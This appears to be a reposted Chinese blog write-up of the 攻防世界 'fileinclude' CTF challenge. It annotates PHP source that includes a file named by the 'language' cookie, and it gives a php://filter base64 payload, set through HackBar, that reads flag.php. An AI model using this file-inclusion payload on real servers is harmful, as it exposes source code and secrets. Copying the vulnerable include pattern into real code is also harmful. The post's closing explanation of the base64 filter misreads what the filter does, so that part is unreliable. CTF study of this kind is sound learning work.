当前位置:   article > 正文

Web安全攻防世界01 fileinclude(宜兴网信办)

Web安全攻防世界01 fileinclude(宜兴网信办)
  1. <html>
  2. <head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /></head>
  3. //规定 HTML 文档的字符集
  4. <br />
  5. <b>Notice</b>: Undefined index: language in <b>/var/www/html/index.php</b> on line <b>9</b><br />
  6. Please choose the language you want : English or Chinese
  7. <h1>Hi,EveryOne,The flag is in flag.php</h1><html>
  8. <head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /></head>
  9. //页面显示内容,其中提示了language的设置与地址,flag所在地址。
  10. <?php
  11. if( !ini_get('display_errors') ) { //如果 环境变量未设置错误回显
  12. ini_set('display_errors', 'On'); //则 开启错误信息回显
  13. }
  14. error_reporting(E_ALL); //报告所有类型的错误
  15. $lan = $_COOKIE['language']; //将cookie中['language']的值赋予lan
  16. if(!$lan) //如果变量 lan为0
  17. {
  18. @setcookie("language","english"); //向客户端发送cookie(名称为"language",值为"english"
  19. @include("english.php"); //文件包含(调用文件"english.php"
  20. }
  21. else //若不满足上述条件
  22. {
  23. @include($lan.".php"); //文件包含(调用变量$lan,添加后缀".php"
  24. }
  25. $x=file_get_contents('index.php'); //将文件 index.php的内容读入变量 x中
  26. echo $x; //输出 变量x的值
  27. ?>
  28. </html></html>

所以题目的关键在于达成这第15行的条件:

$lan = $_COOKIE['language'];

在cookie中的内容language 会被传到变量$lan,继而在第23行@include($lan.".php");被调用与执行,因此cookie变量中很适合写入读取flag.php的payload~

2)采用chrome的扩展工具hackbar 添加cookie的值;解题的思路与上面是一致的:F12调出开发者工具,操作步骤如下图就可以~

Name:cookie

Value:language=php://filter/read=convert.base64-encode/resource=/var/www/html/flag(不懂

根据提供的Value,它使用了一种特殊的编码方式,即base64编码。在这个设置中,它将文件/var/www/html/flag进行了base64编码,并将编码后的结果作为cookie的值。

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/小蓝xlanll/article/detail/329825?site
推荐阅读
相关标签
  

闽ICP备14008679号